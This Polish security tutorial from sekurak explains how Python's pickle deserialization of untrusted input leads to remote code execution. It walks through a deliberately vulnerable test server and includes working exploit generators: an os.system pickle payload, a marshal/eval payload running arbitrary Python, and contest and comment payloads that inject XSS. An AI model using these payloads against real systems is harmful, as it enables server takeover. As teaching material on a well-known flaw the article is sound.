Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Unpickle – deserializacja w Pythonie i zdalne wykonywanie kodu (+ konkurs)
(De)serializacja w Pythonie
W Pythonie do serializacji/deserializacji danych najczęściej używany jest moduł pickle. Serializację wykonuje się z użyciem metody pickle.dumps, zaś deserializację metodą pickle.loads. Podobnie jak w przypadku PHP, dokumentacja modułu pickle ostrzega przed używaniem go do niezaufanych danych.
W tym tekście wyjaśnię, w jaki sposób deserializacja danych z niezaufanych źródeł w Pythonie może prowadzić do zdalnego wykonywania kodu.
Swego czasu, gdy poszukiwałem błędów na stronach Google’a, natrafiłem na witrynę Google Online Enrollment System, która była podatna na opisywany problem. W jednym z wyszukiwań deserializowano obiekt typu datetime. Jako że błąd oczywiście został już dawno naprawiony, przygotowałem prostą aplikację symulującą zachowanie tej witryny.
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer from urlparse import urlparse, parse_qs from datetime import datetime import pickle import base64, cgi DEFAULT_DATE = base64.b64encode(pickle.dumps(datetime.now())) TEMPLATE='''<strong>Year:</strong> {}<br> <strong>Month:</strong> {}<br> <strong>Day:</strong> {}<br> <form method=GET> <textarea name=date cols=40 rows=5>{} </textarea> <button type="submit">Go on!</button> </form> ''' class MyHandler(BaseHTTPRequestHandler): def output_error(self, msg): self.wfile.write('<p><strong style="color: red;">{}</strong></p>'.format(cgi.escape(msg))) def do_GET(self): self.send_response(200) self.send_header('Content-type', 'text/html; charset=utf8') self.end_headers() get_params = parse_qs(urlparse(self.path).query) date_encoded = get_params.get('date', [DEFAULT_DATE])[0] try: date = base64.b64decode(date_encoded) date = pickle.loads(date) except: self.output_error('Error decoding date. Rolling back to default.') date_encoded = DEFAULT_DATE date = pickle.loads(base64.b64decode(date_encoded)) try: output = TEMPLATE.format(date.year, date.month, date.day, date_encoded) except AttributeError: self.output_error("Something went wrong. Sorry.") output = '' self.wfile.write(output) return if __name__ == '__main__': try: (host, port) = ('127.0.0.1', 9072) print "Listening on {}:{}".format(host, port) server = HTTPServer((host, port), MyHandler) server.serve_forever() except KeyboardInterrupt: print 'Exit.'
Kod może na pierwszy rzut oka wyglądać skomplikowanie, ale aplikacja w istocie rzeczy jest prosta. Po jej uruchomieniu, pod adresem http://127.0.0.1:9072/ nasłuchiwać będzie serwer z aplikacją. Aplikacja przyjmuje w parametrze GET jeden parametr, którym jest base64 zserializowanego obiektu (tak właśnie wyglądało to we wspomnianej aplikacji Google’a). Aplikacja próbuje zdeserializować ten obiekt i wyświetlić jego atrybuty: year, month oraz day. Na przykład, po wejściu pod URL http://127.0.0.1:9072/?date=Y2RhdGV0aW1lCmRhdGV0aW1lCnAwCihTJ1x4MDdceGRlXHgwNlx4MWRceDBjXHgxOFx4MTdceDAzXHhjMFx4MTMnCnAxCnRwMgpScDMKLg%3D%3D zobaczymy w odpowiedzi:
Wartość atrybutu date odpowiada obiektowi pythonowemu: datetime.datetime(2014, 6, 29, 12, 24, 23, 245779). Dla wygody w aplikacji umieściłem pole tekstowe, w którym można wkleić ciąg base64 z ciągiem znaków, który chcemy deserializować.
Jak działa pickle?
W artykule o PHP Object Injection pokazywałem, że wykorzystanie podatności zależy od tego, jakie klasy znajdują się w aplikacji. Nie istniał tam uniwersalny sposób np. na zdalne wykonywanie kodu, który zadziałałby w każdej podatnej aplikacji. W przypadku Pythona i pickle, sprawa ma się lepiej, bowiem niefiltrowane pickle.loads() praktycznie gwarantuje zdalne wykonywanie kodu w aplikacji.
W przeciwieństwie do PHP i kilku innych języków programowania, format serializacji danych używany przez pickle jest de facto mini-językiem programowania, opierającym się na stosie, z własnym zestawem op-code’ów. Deserializacja danych jest więc wykonaniem pewnego kodu przez „maszynę wirtualną” pickle, skutkujące odtworzeniem pierwotnego obiektu.
Listę wszystkich op-code’ów znajdziemy oczywiście w źródłach modułu pickle; poniżej wkleiłem te, które będą nam potrzebne do wykonywania dowolnego kodu.
MARK = '(' # push special markobject on stack STOP = '.' # every pickle ends with STOP REDUCE = 'R' # apply callable to argtuple, both on stack STRING = 'S' # push string; NL-terminated string argument GLOBAL = 'c' # push self.find_class(modname, name); 2 string args TUPLE = 't' # build tuple from topmost stack items
Idąc po kolei:
- '(’ – wrzucenie na stos specjalnego obiekt MARK, który będzie potrzebny przy opcodzie TUPLE.
- ’.’ – powoduje zakończenie przetwarzania kodu.
- ’R’ – pobranie ze szczytu stosu dwóch elementów, gdzie pierwszy jest krotką zawierającą listę argumentów, a drugi jest referencją do funkcji, która zostanie wykonana.
- ’S’ – wrzucenie na stos ciągu znaków,
- ’c’ – pobranie ze stosu dwóch elementów – nazwy modułu (modname) i nazwy pola tego modułu (name), następnie na stos wrzucana jest referencja do modname.name.
- ’t’ – utworzenie krotki idąc na stosie od obiektu MARK do szczytu stosu,
Żeby lepiej zrozumieć działanie poszczególnych opcode’ów, zobaczmy proste przykłady:
1. Deserializujemy ciąg znaków „testowy string”
Przykład dość prosty, w pierwszej linii tworzymy string (za pomocą opcode’u STRING), a w drugiej kończymy opcodem STOP.
2. Tworzymy krotkę.
Na samym początku wrzucamy na stos obiekt MARK, potem definiujemy trzy stringi, by na końcu opcodem TUPLE utworzyć z nich krotkę.
3. Używamy opcode’u GLOBAL
Korzystamy z opcode’u GLOBAL (’c’), w którym odwołujemy się do obiektu pickle.PickleError.
Przykłady nie powinny być trudne do zrozumienia, zwłaszcza dla osób, które miały styczność z programowaniem w dowolnym asemblerze. Spróbujmy teraz przygotować kod, który spowoduje wywołanie dowolnego polecenia systemu operacyjnego. W Pythonie służy do tego metoda os.system() , jej jedyny argument to nazwa polecenia, które zechcemy wykonać.
Zatem musimy:
- Wrzucić na stos referencję do os.system(),
- Wrzucić na stos jednoelementową krotkę np. (’ping -c1 sekurak.pl’,).
- Skorzystać z opcode’u REDUCE (’R’), by wykonać funkcję ze stosu z argumentami z krotki.
Na podstawie przykładów powyżej, piszemy gotowy kod:
Pozostaje więc tylko zakodować zawartość zmiennej x w postaci base64 i spróbować użyć tego w naszej testowej aplikacji.
Aplikacja wyświetla błąd, ale wyjście serwera www pokazuje, że polecenie zostało wykonane. Czyli atak się udał.
Na tym ten artykuł mógłby się zakończyć, ale pokażę jeszcze trochę inne podejście do rozwiązania problemu, podyktowane ograniczeniami narzuconymi przez środowisko, w którym działała wspominana przeze mnie na początku aplikacja Google.
Wykonujemy kod bez os.system
W środowisku Google’a, większość wywołań systemowych (w tym oczywiście os.system) było zablokowanych. Tak więc pomimo zdalnego wykonywania kodu, nie byłem w stanie wykonywać poleceń systemu operacyjnego. Jednak nawet bez tego można próbować wyciągnąć wiele informacji z systemu operacyjnego, korzystając z samych funkcji Pythona (np. os.listdir() do listowania zawartości katalogu). Napiszemy więc kod, który pozwoli nam zserializować dowolną funkcję Pythona.
Wykorzystamy do tego moduł marshal. Marshal jest innym modułem do serializacji w Pythonie. Nie będę wchodził w szczegóły, jaki jest sens używania dwóch różnych modułów do serializacji w bibliotece standardowej Pythona (odsyłam do dokumentacji). Ważne jest to, że marshal, w przeciwieństwie do pickle, potrafi także serializować kod funkcji.
Każda funkcja ma atrybut func_code, który jest reprezentacją skompilowanego kodu funkcji. Atrybut ten zwraca obiekt typu code object. Co ciekawe, code objects mogą być używane jako argumenty do funkcji eval().
Jak widzimy na przykładzie, zdefiniowałem prostą funkcję f(), a następnie przekazałem jej atrybut func_code jako argument funkcji eval(), po czym funkcja została po prostu wykonana. Z naszego punktu widzenia ważne jest to, że moduł marshal potrafi zserializować ten obiekt. Zobaczmy przykład:
Gdybyśmy spróbowali użyć modułu pickle do zserializowania tego code object, niestety otrzymalibyśmy wyjątek.
Pamiętamy jednak, że nasza testowa aplikacja webowa używa modułu pickle, nie marshal. Nie jest to jednak wielki problem, bo pokazaliśmy już wcześniej, że z modułu pickle potrafimy importować inne moduły oraz wykonywać metody. Dlatego w module pickle potrzebujemy wykonać dwa kroki:
- Uzyskać referencję do funkcji marshal.loads(), by zdeserializować code object.
- Wynik powyższej deserializacji przekazać do funkcji eval().
Oto gotowy kod:
#!/usr/bin/python import base64 import pickle, marshal def malicious(): import os print "If you can see it, you are RCE-ed ;-)." print os.listdir('/') def main(): m = marshal.dumps(malicious.func_code) c = '''c__builtin__ eval (cmarshal loads (S"''' + m.encode('string-escape') + '''" tRtR.''' print base64.b64encode(c) if __name__ == '__main__': main()
Zaczynamy od definicji funkcji malicious(), w niej znajdzie się kod, który chcemy wykonać po stronie ofiary. W funkcji main() zaczynamy od marshalowania kodu funkcji malicious(), a następnie budujemy kod, który pozwoli ją zdemarshalować. Sprawdźmy jak ten kod działa po kolei:
- Wrzucamy na stos referencję do funkcji __builtin__.eval(),
- Wrzucamy na stos obiekt MARK, który posłuży do budowania krotki z listą argumentów do funkcji z punktu wyżej,
- Wrzucamy na stos referencję do funkcji marshal.loads(),
- Wrzucamy na stos obiekt MARK, który posłuży do budowania krotki z listą argumentów do funkcji z punktu wyżej,
- Wrzucamy na stos stringa zawierającego zmarshalowany kod funkcji, która ma się wykonać po stronie ofiary,
- Budujemy krotkę – od szczytu stosu do obiektu MARK, czyli powstanie jednoelementowa krotka (m,) (gdzie m to zmarshalowany kod funkcji),
- Wykonujemy funkcję. W tym momencie zostanie wykonana funkcja marshal.loads(m), a jej wynik zostanie wrzucony na stos.
- Budujemy kolejną krotkę. Krotka znów będzie jednoelementowa, tym razem na szczycie stosu jest wynik wywołania funkcji z punktu powyżej, a więc powstanie (marshal.loads(m),).
- Wykonujemy funkcję. Zostanie wywołana funkcja __builtin__.eval z argumentami z krotki, a więc __builtin__.eval(marshal.loads(m)). To jest moment, w którym nastąpi wykonanie kodu funkcji malicious().
Na samym końcu kod dla pickle jest jeszcze zamieniany na base64 – dla wygody, ponieważ taki format jest oczekiwany przez testową aplikację webową.
Teraz wykonajmy ten kod, wklejmy wynikowy base64 do aplikacji i zobaczmy co się stanie :)
Aplikacja znów wyświetla błąd, ale logi serwera wyraźnie pokazują, że kod się wykonał. Sukces! Potrafimy już wykonać dowolny kod Pythona po stronie serwera :)
Podsumowanie
Podobnie jak w przypadku PHP, jeśli nie jest to koniecznie potrzebne, najlepiej zrezygnować z pickle na rzecz innych modułów do zapisu obiektów (np. JSON). Jeśli używanie pickle jest konieczne, warto pomyśleć o zastosowaniu zabezpieczenia HMAC. Dokumentacja Pythona w wersji 3 przedstawia jeszcze jeden sposób na ograniczenie klas, które można importować. Ten sam sposób działa również w Pythonie 2.
Główna różnica między Pythonem i PHP jest taka, że niefiltrowana deserializacja w Pythonie praktycznie gwarantuje możliwość wykonywania dowolnego kodu.
Konkurs
Proponujemy mały konkurs dla wytrwałych czytelników związany z tematyką tego tekstu. Do wygrania książka The Hacker Playbook: Practical Guide To Penetration Testing. (swoją drogą przypominam o sekurakowej księgarni). Dostanie ją osoba, która jako pierwsza podeśle na adres konkurs@sekurak.pl taki payload do parametru date w testowej aplikacji, który spowoduje wywołanie XSS-a w przeglądarce użytkownika. Na przykład poniżej pokazano XSS-a o treści XSS <u style=”color: green;”>here</u> :)<br><br> ;)
Rozwiązanie nie jest trywialne, potrzebna będzie dociekliwość (lub pewna znajomość Pythona), ale nie jest również bardzo trudne. Powodzenia!
UPDATE: jako pierwszy (19:46) prawidłowe rozwiązanie (szczegóły poniżej) podesłał Adam Dobrawy – gratulacje!
Y19fYnVpbHRpbl9fCmV2YWwKKGNtYXJzaGFsCmxvYWRzCihTImNceDAwXHgwMFx4MDBceDAwXHgwMVx4MDBceDAwXHgwMFx4MDNceDAwXHgwMFx4MDBDXHgwMFx4MDBceDAwcyNceDAwXHgwMFx4MDBkXHgwMVx4MDBkXHgwMFx4MDBsXHgwMFx4MDB9XHgwMFx4MDBkXHgwMlx4MDBceDg0XHgwMFx4MDB8XHgwMFx4MDBqXHgwMVx4MDBkXHgwM1x4MDBceDE5X1x4MDJceDAwZFx4MDBceDAwUyhceDA0XHgwMFx4MDBceDAwTmlceGZmXHhmZlx4ZmZceGZmY1x4MDFceDAwXHgwMFx4MDBceDAxXHgwMFx4MDBceDAwXHgwMVx4MDBceDAwXHgwMFNceDAwXHgwMFx4MDBzXHgwNFx4MDBceDAwXHgwMGRceDAxXHgwMFMoXHgwMlx4MDBceDAwXHgwME5zXHgwY1x4MDBceDAwXHgwMDxIMT5YU1M8L2gxPihceDAwXHgwMFx4MDBceDAwKFx4MDFceDAwXHgwMFx4MDB0XHgwMVx4MDBceDAwXHgwMHgoXHgwMFx4MDBceDAwXHgwMChceDAwXHgwMFx4MDBceDAwc1x4MDVceDAwXHgwMFx4MDBhYS5weXRceDA4XHgwMFx4MDBceDAwPGxhbWJkYT5ceDA3XHgwMFx4MDBceDAwc1x4MDBceDAwXHgwMFx4MDB0XHgwM1x4MDBceDAwXHgwMGNnaShceDAzXHgwMFx4MDBceDAwdFx4MDNceDAwXHgwMFx4MDBzeXN0XHgwN1x4MDBceDAwXHgwMG1vZHVsZXN0XHgwNlx4MDBceDAwXHgwMGVzY2FwZShceDAxXHgwMFx4MDBceDAwUlx4MDNceDAwXHgwMFx4MDAoXHgwMFx4MDBceDAwXHgwMChceDAwXHgwMFx4MDBceDAwc1x4MDVceDAwXHgwMFx4MDBhYS5weXRcdFx4MDBceDAwXHgwMG1hbGljaW91c1x4MDVceDAwXHgwMFx4MDBzXHgwNFx4MDBceDAwXHgwMFx4MDBceDAxXHgwY1x4MDEiCnRSdFIu #!/usr/bin/python import base64 import pickle, marshal def malicious(): import sys sys.modules['cgi'].escape=lambda x:'<H1>XSS</h1>' #MyHandler.output_error = lambda x: "<h1>XSS</h1>" def main(): m = marshal.dumps(malicious.func_code) c = '''c__builtin__ eval (cmarshal loads (S"''' + m.encode('string-escape') + '''" tRtR.''' #print c print base64.b64encode(c) if __name__ == '__main__': main()
@Michał – widzę, że się rozkręcasz :) Świetny tekst zresztą :)
No dokładnie. Dla mnie osobiście jeden z najlepszych, jak nie najlepszy tekst, który tutaj przeczytałem ;)
Widać opłaciło się przeczekać trochę zastój na sekuraku ;-)
No są jeszcze zaległe prace konkursowe do publikacji ;-)
Zgadza się – już nawet kolejna jest złożona w WP. Ale będziemy tradycyjnie dawkować wiedzę – nie wszystko na raz ;-)
A czy redakcja Sekurak zamierza przedstawić także inne koncepcje rozwiązania zagadki? Załączony obrazek wskazuje, że udało się napisać taki payload, aby kod wykonany w linii 32 wstrzyknął kod HTML bezpośrednio do wyjścia serwera. Ja nie mam koncepcji jak wywołać odpowiednik „self.wfile.write” z linii 22 w tym kontekście, a wygląda na to, że właśnie taką operacje przeprowadzono.
Gratulacje:)
Aaaa i jeszcze coś. Nie działa wam coś ta antyspamowa wyliczanka. Po cofnięciu formularza i z powrotem nie odświeża się wyliczanka, pozostaje stara.
Z drugiej strony mało tutaj spamerów i raczej nie grozi wam zalew spamu w komentach ;p
Ja z kolei zrobiłem payload z wykorzystaniem „anonimowego obiektu” i wstrzyknąłem XSS bezpośrednio do date.year ;-) Nie mam kodu pod ręką, ale coś w stylu:
…
def malicious():
return type(”,(object,),{’year’:’xss payload’,’month’:1,’day’:1})()
…
Zasadniczo w rozwiązaniach pojawiły się trzy koncepcje rozwiązania problemu (w tym taka, jak na moim screenie). Napiszę w weekend krótką notkę do działu „W biegu” z opisem każdej z nich.
def malicious():
__import__(„inspect”).stack()[4][0].f_locals[„self”].wfile.write(„XSS!”)